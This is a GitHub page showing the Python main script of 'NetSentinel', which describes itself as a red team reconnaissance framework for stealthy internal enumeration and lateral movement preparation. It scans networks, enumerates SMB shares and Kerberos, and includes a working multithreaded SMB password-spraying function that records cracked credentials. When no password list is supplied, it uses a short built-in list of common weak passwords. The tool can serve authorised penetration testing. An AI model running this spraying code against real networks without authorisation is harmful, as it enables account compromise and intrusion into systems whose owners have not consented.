-
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.py
More file actions
282 lines (237 loc) · 10.9 KB
/
main.py
File metadata and controls
282 lines (237 loc) · 10.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
# main.py
import os
import webbrowser
import ipaddress
import argparse
import json
from datetime import datetime
from utils import Logger, Config, COMMON_TCP_PORTS, parse_ports, generate_html_report
from core import NetworkScanner, SMBEnumerator, KerberosScanner
import time
import pyfiglet
from colorama import init, Fore, Style
def load_user_list(path):
with open(path, "r", encoding="utf-8") as f:
return [line.strip() for line in f if line.strip()]
def load_password_list(path):
with open(path, "r", encoding="utf-8") as f:
return [line.strip() for line in f if line.strip()]
def smb_password_spray(target_ip, domain, user_list, password_list, logger, delay=0, max_threads=20):
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
successes = []
failures = []
lock = threading.Lock()
smb_enum = SMBEnumerator(target_ip, domain, logger)
if smb_enum.connection is None:
logger.error("No SMB connection available. Aborting spray.")
return successes, failures
def try_credential(username, password):
nonlocal smb_enum
try:
logger.info(f"[SPRAY] Trying {username}@{domain}:{password}")
success = smb_enum.try_login(username, password)
with lock:
if success:
logger.info(f"SUCCESS: {username}:{password}")
successes.append((username, password))
else:
failures.append((username, password))
except Exception as e:
with lock:
logger.warning(f"Error during login attempt for {username}:{password} - {e}")
failures.append((username, password))
if delay:
time.sleep(delay)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
futures = []
for username in user_list:
for password in password_list:
futures.append(executor.submit(try_credential, username, password))
for future in as_completed(futures):
_ = future.result()
return successes, failures
def main():
init(autoreset=True) # Initialize colorama for colored output
ascii_title = pyfiglet.figlet_format("NetSentinel", font="slant")
colored_title = f"{Fore.MAGENTA}{ascii_title}{Style.RESET_ALL}"
parser = argparse.ArgumentParser(
description=colored_title + "\nNetwork Recon Tool by Kaotick Jay.\n\nNetSentinel is a Python-based red team reconnaissance framework designed for stealthy internal enumeration, service discovery, and lateral movement preparation.",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("--target", required=True, help="Target IP or CIDR (e.g., 192.168.1.0/24 or 10.0.0.1)")
parser.add_argument("--scan-type", choices=["full", "quick"], default="quick", help="Type of scan to perform")
parser.add_argument("--resolve-hostnames", action="store_true", help="Resolve hostnames via reverse DNS")
parser.add_argument("--smb-enum", action="store_true", help="Perform SMB share enumeration")
parser.add_argument("--kerberos-scan", action="store_true", help="Perform Kerberos enumeration")
parser.add_argument("--user-list", type=str, help="File with list of usernames for password spraying")
parser.add_argument("--password-list", type=str, help="File with list of passwords for password spraying")
parser.add_argument("--password-spray", action="store_true", help="Enable SMB password spraying")
parser.add_argument("--debug", action="store_true", help="Enable debug logging")
parser.add_argument("--html-report", type=str, help="Output path for HTML report")
args = parser.parse_args()
logger = Logger(debug=args.debug)
logger.banner("NetSentinel Network Recon Tool")
cfg = Config()
if not cfg.validate():
logger.error("Failed to load configuration. Exiting.")
return
cfg.dump()
try:
network = ipaddress.ip_network(args.target, strict=False)
targets = [str(ip) for ip in network.hosts()]
network_range = str(network)
host_count = len(targets)
except ValueError:
targets = [args.target]
network_range = args.target
host_count = 1
scan_type = args.scan_type
user_list = []
if args.user_list:
try:
user_list = load_user_list(args.user_list)
logger.info(f"Loaded {len(user_list)} users from {args.user_list}")
except Exception as e:
logger.error(f"Failed to load user list: {e}")
return
password_list = []
if args.password_list:
try:
password_list = load_password_list(args.password_list)
logger.info(f"Loaded {len(password_list)} passwords from {args.password_list}")
except Exception as e:
logger.error(f"Failed to load password list: {e}")
return
else:
password_list = ["Passw0rd!", "Password123", "Spring2025!"]
results_all = {}
empty_hosts = []
scan_start_ts = datetime.now()
scan_start_time = time.time()
for target_ip in targets:
host_scan_start = time.time()
logger.info(f"Starting network scan on {target_ip}. Scan type: {scan_type}")
scanner = NetworkScanner(target_ip, logger)
results = scanner.run()
hostname = ""
if args.resolve_hostnames:
import socket
try:
hostname = socket.gethostbyaddr(target_ip)[0]
logger.debug(f"Resolved {target_ip} → {hostname}")
logger.info(f"Resolved hostname: {hostname}")
except Exception as e:
logger.warning(f"Reverse DNS resolution failed for {target_ip}: {e}")
open_ports = results.get(target_ip, {}).get("open_ports", {})
open_ports_list = list(open_ports.keys()) if isinstance(open_ports, dict) else []
if open_ports_list:
logger.info(f"Open ports on {target_ip}: {open_ports_list}")
else:
logger.warning(f"No open ports detected on {target_ip}.")
empty_hosts.append(target_ip)
continue # Skip rest of logic for hosts with no open ports
smb_shares = []
if args.smb_enum:
smb_enum = SMBEnumerator(target_ip, cfg.domain, logger)
try:
smb_shares = smb_enum.enumerate_shares()
logger.info(f"Found {len(smb_shares)} SMB shares.")
except Exception as e:
logger.error(f"SMB enumeration failed: {e}")
kerberos_info = {}
if args.kerberos_scan:
try:
kerberos_scanner = KerberosScanner(
logger=logger,
domain=cfg.domain,
username=cfg.username,
password=cfg.password,
dc_ip=cfg.dc_ip,
ldap_username=cfg.ldap_username,
ldap_password=cfg.ldap_password
)
kerberos_info = kerberos_scanner.enumerate(targets=[target_ip], user_list=user_list)
logger.info("Kerberos enumeration complete.")
except Exception as e:
logger.error(f"Kerberos enumeration failed: {e}")
password_spray_successes = []
password_spray_failures = []
if args.password_spray:
if not user_list:
logger.error("Password spraying requested but no user list loaded.")
else:
logger.info(f"Starting SMB password spraying on {target_ip} with {len(user_list)} users and {len(password_list)} passwords.")
password_spray_successes, password_spray_failures = smb_password_spray(
target_ip=target_ip,
domain=cfg.domain,
user_list=user_list,
password_list=password_list,
logger=logger,
delay=1
)
logger.info(f"Password spraying complete: {len(password_spray_successes)} successes, {len(password_spray_failures)} failures")
host_scan_end = time.time()
host_scan_duration = host_scan_end - host_scan_start
h_m, s = divmod(int(host_scan_duration), 60)
duration_str = f"{h_m}m {s}s"
results_all[target_ip] = {
"target": target_ip,
"hostname": hostname,
"ports": [
{"port": p, "status": "Open", "banner": scanner.get_banner(target_ip, p)}
for p in open_ports_list
],
"smb_shares": smb_shares,
"kerberos_info": kerberos_info,
"password_spray_successes": password_spray_successes,
"password_spray_failures": password_spray_failures,
"scan_time": datetime.now().isoformat(),
"host_scan_start": datetime.fromtimestamp(host_scan_start).isoformat(),
"host_scan_end": datetime.fromtimestamp(host_scan_end).isoformat(),
"host_scan_duration": duration_str,
"network_range": network_range,
"host_count": host_count,
}
scan_end_ts = datetime.now()
scan_end_time = time.time()
total_duration_seconds = scan_end_time - scan_start_time
hours, remainder = divmod(int(total_duration_seconds), 3600)
minutes, seconds = divmod(remainder, 60)
scan_duration_str = f"{hours}h {minutes}m {seconds}s" if hours > 0 else f"{minutes}m {seconds}s"
summary_report = {
"target": network_range,
"hostname": "Multiple hosts" if host_count > 1 else results_all[targets[0]]["hostname"] if results_all else "N/A",
"ports": [],
"smb_shares": [],
"kerberos_info": {},
"password_spray_successes": [],
"password_spray_failures": [],
"scan_time": scan_start_ts.isoformat(),
"scan_end_time": scan_end_ts.isoformat(),
"scan_duration": scan_duration_str,
"network_range": network_range,
"host_count": host_count,
"empty_hosts": empty_hosts,
"full_results": results_all,
}
if args.html_report:
try:
# Enforce .html extension if missing
html_path = args.html_report
if not html_path.lower().endswith(".html"):
html_path += ".html"
html_path = os.path.abspath(html_path)
generate_html_report(summary_report, html_path)
logger.info(f"HTML report generated at {html_path}")
# Attempt to open in the system's default web browser
try:
webbrowser.open(f"file://{html_path}")
logger.debug("Opened HTML report in default system browser.")
except Exception as e:
logger.warning(f"Could not open browser automatically: {e}")
except Exception as e:
logger.error(f"Failed to generate HTML report: {e}")
logger.success("NetSentinel recon complete.")
if __name__ == "__main__":
main()